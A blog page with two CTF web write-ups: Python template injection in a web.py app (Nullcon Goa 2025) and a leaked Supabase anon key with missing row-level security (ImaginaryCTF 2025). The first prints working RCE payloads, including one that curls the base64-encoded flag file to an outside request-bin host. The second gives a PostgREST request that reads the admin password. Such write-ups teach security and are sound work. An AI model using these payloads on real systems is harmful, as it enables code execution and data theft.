Information Disclosure on HitCat

Source leak and Python SSTI to the flag - Nullcon Goa 2025

Mon, 03 Feb 2025 00:00:00 +0000

Introduction

Context Explanation

The “Temptation” challenge is a web application security exercise focusing on template injection vulnerabilities in Python web applications.

Directive

The goal is to retrieve a flag by exploiting vulnerabilities in the web application.

Solution

Analyzing source code

First, we need to retrieve the application’s source code. The webpage contains a hidden comment suggesting to look at /?source.

<html>
    <head>
            <title>Temptation</title>       
    </head>
    <body>
        <h1>Temptation challenge</h1>
        <form action="/" method="POST">
            <table>
                <tr>
                    <th>
                        <label for="temptation">What is your temptation?</label>
                    </th>
                    <td>
                        <input id="temptation" name="temptation" type="password"/>
                    </td>
                </tr>
                <tr>
                    <th>
                        <label for="submit"></label>
                    </th>
                    <td>
                        <button id="submit" name="submit">submit</button>
                    </td>
                </tr>
            </table>
        </form>
        <!-- Look at me, I'm soo tempting! /?source -->
    </body>
</html>

However, directly accessing this path doesn’t reveal anything. After testing different inputs, we discover that adding any parameter value (e.g., /?source=anything) reveals the source code.


import web
from web import form
web.config.debug = False
urls = (
  '/', 'index'
)
app = web.application(urls, locals())
render = web.template.render('templates/')
FLAG = open("/tmp/flag.txt").read()

temptation_Form = form.Form(
    form.Password("temptation", description="What is your temptation?"),
    form.Button("submit", type="submit", description="Submit")
)

class index:
    def GET(self):
        try:
            i = web.input()
            if i.source:
                return open(__file__).read()
        except Exception as e:
            pass
        f = temptation_Form()
        return render.index(f)

    def POST(self):
        f = temptation_Form()
        if not f.validates():
            return render.index(f)
        i = web.input()
        temptation = i.temptation
        if 'flag' in temptation.lower():
            return "Too tempted!"
        try:
            temptation = web.template.Template(f"Your temptation is: {temptation}")()
        except Exception as  e:
            return "Too tempted!"
        if str(temptation) == "FLAG":
            return FLAG
        else:
            return "Too tempted!"
application = app.wsgifunc()
if __name__ == "__main__":
    app.run()

The source code analysis reveals several key points:

The application uses the web.py framework
The flag is stored in /tmp/flag.txt
A form asks for a “temptation” input
Multiple security checks are implemented:

if 'flag' in temptation.lower():
    return "Too tempted!"

if str(temptation) == "FLAG":
    return FLAG

The interesting part is the template string evaluation using web.template.Template() with an f-string, which is vulnerable to Python code injection.

temptation = web.template.Template(f"Your temptation is: {temptation}")()

Exploitation

The vulnerability lies in the template processing. While the application prevents using the word flag directly and requires the final output to be FLAG, we can bypass these restrictions using template injection.

First, we confirm the vulnerability using a time-based payload:

${__import__('os').system('sleep 5')}

Access to the flag

After confirming the RCE capability, we craft a payload to exfiltrate the flag:

${__import__('os').system('curl https://eohs7zi0yztnmqq.m.pipedream.net/$(cat /tmp/f*.txt | base64)')}

This payload:

Uses os.system() to execute shell commands
Reads the flag file using cat with a wildcard to avoid using “flag” in the payload
Base64 encodes the content to ensure safe transmission
Exfiltrates the data using curl to a RequestBin endpoint

Decoding the received base64 string:

echo 'RU5Pe1QzTV9QbDRUXzNTXzRyM19TM2NVcmUhIX0=' | base64 -d
ENO{T3M_Pl4T_3S_4r3_S3cUre!!}

Tips & Tricks

When dealing with template injection, remember that f-strings in template contexts can be particularly dangerous
Base64 encoding is useful for exfiltrating data while avoiding special character issues
RequestBin (or similar services) are valuable tools for data exfiltration in CTF challenges
Using wildcards (f*.txt) can help bypass word blacklists
Always check source code comments, they often contain valuable hints

Supabase anon key and missing RLS data leak - ImaginaryCTF 2025

Sat, 06 Sep 2025 00:00:00 +0000

Challenge source

ImaginaryCTF 2025 - Web - Imaginary Notes

Introduction

This challenge revolves around a misconfigured Supabase project combined with a frontend that leaks the anonymous API key. Because the users table is exposed via PostgREST and row-level security (RLS) was permissive/missing, an attacker can query the users table directly with the leaked anon key and extract the admin password (which is the flag).

Context Explanation

Stack: Next.js app, Supabase backend (PostgreSQL + PostgREST).
The frontend embeds the Supabase URL and anon key, then calls database tables directly from the browser.
The challenge explicitly states: “I even put my anonymous key somewhere in the site. The password database is called, ‘users’.”
Admin’s password is the flag; table name: users.

Directive

Locate the Supabase anon key in the client bundle.
Confirm the users table is readable with the anon role.
Query the admin row and read the password field.

Solution

1) Recon: Find the embedded Supabase client and anon key

Open the client bundle or look for a supabase.js in the app code. The project ships a file exactly like this:

// app/supabase.js
import { createClient } from '@supabase/supabase-js'

const supabaseUrl = 'https://dpyxnwiuwzahkxuxrojp.supabase.co'
const supabaseAnonKey = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey...cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI'  // <— exposed in frontend

export const supabase = createClient(supabaseUrl, supabaseAnonKey)

This is already a red flag: the anon key is present client-side (by design anon keys can be public), but it must be paired with strict RLS policies that prevent sensitive reads. We’ll test if users is exposed.

2) Understand how the app uses the table

The login/sign-up form talks directly to the users table:

// app/page.js  (excerpt)
const { data: existing } = await supabase
  .from("users")
  .select("id")
  .eq("username", username)
  .maybeSingle()

// ... later on sign-up:
const { error: insertError } = await supabase.from("users").insert([
  { username, passw // ...

This shows a thin client directly hitting users via PostgREST. If RLS is misconfigured, we can query anything we want with just the anon key.

3) Direct API query via PostgREST

Supabase exposes PostgREST at /rest/v1. Using only the anon key in both Authorization: Bearer and apikey headers is enough if RLS allows it.

HTTP PoC (provided and reproduced):

GET /rest/v1/users?select=password&username=eq.admin HTTP/2
Host: dpyxnwiuwzahkxuxrojp.supabase.co
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc...4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI
Apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmF...4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI

Response:

[{"password":"ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}"}]